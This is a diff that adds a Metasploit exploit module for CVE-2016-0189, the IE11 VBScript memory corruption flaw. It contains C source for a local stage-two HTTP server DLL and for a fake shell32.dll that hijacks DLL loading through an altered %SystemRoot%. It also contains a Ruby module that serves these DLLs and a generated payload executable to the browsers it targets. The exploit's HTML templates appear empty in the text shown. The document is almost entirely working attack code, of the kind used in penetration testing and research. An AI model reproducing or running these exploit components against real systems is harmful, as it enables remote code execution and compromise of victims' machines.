SOCKET create_server() +{ + struct sockaddr_in skAddr; + SOCKET sk; + int optval; + + sk = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP); + if (sk == INVALID_SOCKET) + return INVALID_SOCKET; + + optval = 1; + setsockopt(sk, SOL_SOCKET, SO_REUSEADDR, (char*) &optval, sizeof(optval)); + + memset(&skAddr, 0, sizeof(skAddr)); + skAddr.sin_family = AF_INET; + skAddr.sin_port = htons(SERVER_PORT); + skAddr.sin_addr.s_addr = inet_addr("127.0.0.1"); + + if (bind(sk, (struct sockaddr *) &skAddr, sizeof(skAddr)) != 0) + goto on_error; + + if (listen(sk, 5) != 0) + goto on_error; + + return sk; + +on_error: + closesocket(sk); + return SOCKET_ERROR; +} + +static int send_all(SOCKET sk, char *buffer, int size) +{ + int len; + while (size > 0) { + len = send(sk, buffer, size, 0); + if (len <= 0) + return 0; + buffer += len; + size -= len; + } + + return 1; +} + +static int local_server() +{ + int len; + int totalSize; + char buffer[4096]; + HANDLE hFile = INVALID_HANDLE_VALUE; + + serverSk = create_server(); + if (serverSk == INVALID_SOCKET) + return SOCKET_ERROR; + + while (1) { + peerSk = accept(serverSk, NULL, NULL); + if (peerSk == INVALID_SOCKET) { + continue; + } + + len = recv(peerSk, buffer, sizeof(buffer), 0); + if (len <= 0) + goto closepeer; + + hFile = CreateFile(stage2file, GENERIC_READ, 0, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL); + if (hFile == INVALID_HANDLE_VALUE) + break; + + totalSize = GetFileSize(hFile, NULL); + if (totalSize == INVALID_FILE_SIZE) + break; + + len = _snprintf(buffer, sizeof(buffer), + "HTTP/1.1 200 OK\r\n" + "Content-Type: text/html\r\n" + "Connection: Close\r\n" + "Content-Length: %d\r\n" + "\r\n", + totalSize + ); + send_all(peerSk, buffer, len); + + while (totalSize > 0) { + ReadFile(hFile, buffer, sizeof(buffer), (DWORD*) &len, NULL); + send_all(peerSk, buffer, len); + totalSize -= len; + } + CloseHandle(hFile); + hFile = INVALID_HANDLE_VALUE; + +closepeer: + closesocket(peerSk); + peerSk = INVALID_SOCKET; + } + + if (hFile != INVALID_HANDLE_VALUE) { + CloseHandle(hFile); + } + if (peerSk != INVALID_SOCKET) { + closesocket(peerSk); + peerSk = INVALID_SOCKET; + } + if (serverSk != INVALID_SOCKET) { + closesocket(serverSk); + serverSk = INVALID_SOCKET; + } + + return 0; +} + +DWORD WINAPI threadProc(void *param) +{ + WSADATA wsaData; + WSAStartup(MAKEWORD(2 ,2), &wsaData); + + local_server(); + + WSACleanup(); + + DeleteFile(stage2file); + return 0; +} + +void do_work() +{ + GetEnvironmentVariableW(L"stage2file", stage2file, sizeof(stage2file)); + + hThread = CreateThread(NULL, 0, threadProc, NULL, 0, NULL); +} + +BOOL APIENTRY DllMain( HMODULE hModule, + DWORD ul_reason_for_call, + LPVOID lpReserved + ) +{ + switch (ul_reason_for_call) + { + case DLL_PROCESS_ATTACH: + do_work(); + break; + case DLL_PROCESS_DETACH: + if (hThread) { + WaitForSingleObject(hThread, INFINITE); + CloseHandle(hThread); + } + break; + } + return TRUE; +} diff --git a/external/source/exploits/cve-2016-0189/ieshell32.cpp b/external/source/exploits/cve-2016-0189/ieshell32.cpp new file mode 100644 index 0000000000..9f7bb84090 --- /dev/null +++ b/external/source/exploits/cve-2016-0189/ieshell32.cpp @@ -0,0 +1,39 @@ +/* +From: https://gist.github.com/worawit/1213febe36aa8331e092 + +Fake shell32.dll to be loaded after modified %SystemRoot% +*/ +#define WIN32_LEAN_AND_MEAN +#include + +static void do_work() +{ + WCHAR envBuffer[256]; + + GetEnvironmentVariableW(L"SaveSystemRoot", envBuffer, sizeof(envBuffer)); + // restore system root + SetEnvironmentVariableW(L"SystemRoot", envBuffer); + //SetEnvironmentVariableW(L"SaveSystemRoot", NULL); + + GetEnvironmentVariableW(L"MyDllPath", envBuffer, sizeof(envBuffer)); + SetEnvironmentVariableW(L"MyDllPath", NULL); + + // shell32.dll will be unloaded, use another dll + LoadLibraryExW(envBuffer, NULL, LOAD_WITH_ALTERED_SEARCH_PATH); +} + +BOOL APIENTRY DllMain( HMODULE hModule, + DWORD ul_reason_for_call, + LPVOID lpReserved + ) +{ + switch (ul_reason_for_call) + { + case DLL_PROCESS_ATTACH: + do_work(); + break; + case DLL_PROCESS_DETACH: + break; + } + return TRUE; +} diff --git a/modules/exploits/windows/browser/ms16_051_vbscript.rb b/modules/exploits/windows/browser/ms16_051_vbscript.rb new file mode 100644 index 0000000000..9b3f19485c --- /dev/null +++ b/modules/exploits/windows/browser/ms16_051_vbscript.rb @@ -0,0 +1,494 @@ +## +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core' + +class MetasploitModule < Msf::Exploit::Remote + Rank = NormalRanking + + include Msf::Exploit::Remote::HttpServer + include Msf::Exploit::EXE + + def initialize(info={}) + super(update_info(info, + 'Name' => "template", + 'Description' => %q{ + This module exploits the memory corruption vulnerability (CVE-2016-0189) + present in the VBScript engine of Internet Explorer 11. + }, + 'License' => MSF_LICENSE, + 'Author' => [ + 'Theori', # Original RE research and exploitation + 'William Webb ' # Metasploit module + ], + 'Platform' => 'win', + 'BrowserRequirements' => + { + :source => /script|headers/i, + :os_name => OperatingSystems::Match::WINDOWS, + :ua_name => HttpClients::IE, + :ua_ver => '11.0' + }, + 'Targets' => + [ + [ 'Automatic', {} ], + [ + 'Windows 10 with IE 11', + { + 'os_flavor' => '10', + 'ua_name' => 'MSIE', + 'ua_ver' => '11.0' + } + ] + ], + 'References' => + [ + [ 'CVE', '2016-0189' ], + [ 'MSB', 'MS16-051' ] + ], + 'Arch' => ARCH_X86_64, + 'DefaultTarget' => 0)) + end + + def setup + # @stage2html = Rex::Text.rand_text_alphanum(6) + @ieshell = "#{Rex::Text.rand_text_alphanumeric(6)}" # ieshell32.dll uri + @localsrv = "#{Rex::Text.rand_text_alphanumeric(6)}" # ielocalserver.dll uri + @pm_escape_html = "#{Rex::Text.rand_text_alphanumeric(6)}" # vbscipt_godmode.html + @payload_uri = "#{Rex::Text.rand_text_alphanumeric(8)}" + @payload_exe = "#{Rex::Text.rand_text_alpha(6)}.exe" + File.open(File.join( Msf::Config.data_directory, "exploits", "cve-2016-0189", "ieshell32.dll" ), "rb") { |f| @stage2dll = f.read } + File.open(File.join( Msf::Config.data_directory, "exploits", "cve-2016-0189", "ielocalserver.dll" ), "rb") { |f| @localserver = f.read } + super + end + + def exploit_html(req_uri) + srvhost = datastore['SRVHOST'] + srvport = datastore['SRVPORT'] + + template = <<-EOF + + + + + + + + + + + + + + EOF + + template + end + + def stage2_html(req_uri) + + template = <<-EOF + + + + + + + + + + + + EOF + template + end + + def on_request_uri(cli, request) + # used for some debugging stuff + ies = @ieshell + ls = @localsrv + pm = @pm_escape_html + + print_status("Received request: #{request.uri}") + if request.uri =~ /.*#{ies}.*$/ + print_status("Sending stage two DLL ...") + send_response(cli, @stage2dll, { 'Content-Type' => 'application/x-msdownload', 'Pragma' => 'no-cache', 'Cache-Control' => 'no-cache', 'Connection' => 'close' }) + elsif request.uri =~ /.*#{ls}.*$/ + print_status("Sending local server DLL ...") + send_response(cli, @localserver, { 'Content-Type' => 'application/x-msdownload', 'Pragma' => 'no-cache', 'Cache-Control' => 'no-cache', 'Connection' => 'close' }) + elsif request.uri =~ /.*#{pm}.*$/ + rq = "#{get_resource.chomp('/')}" + gm = stage2_html(rq) + send_response(cli, gm, { 'Content-Type' => 'text/html', 'Pragma' => 'no-cache', 'Cache-Control' => 'no-cache', 'Connection' => 'close' }) + elsif request.uri =~ /.*#{@payload_uri}$/ + return if ((payload = regenerate_payload(cli)) == nil) + print_status("Sending payload ...") + send_response(cli, generate_payload_exe({ :code => payload.encoded }), { 'Content-Type' => 'application/octet-stream', 'Connection' => 'close' }) + else + print_status("Sending main page ..") + send_response(cli, exploit_html(request.uri)) + end + end + +end \ No newline at end of file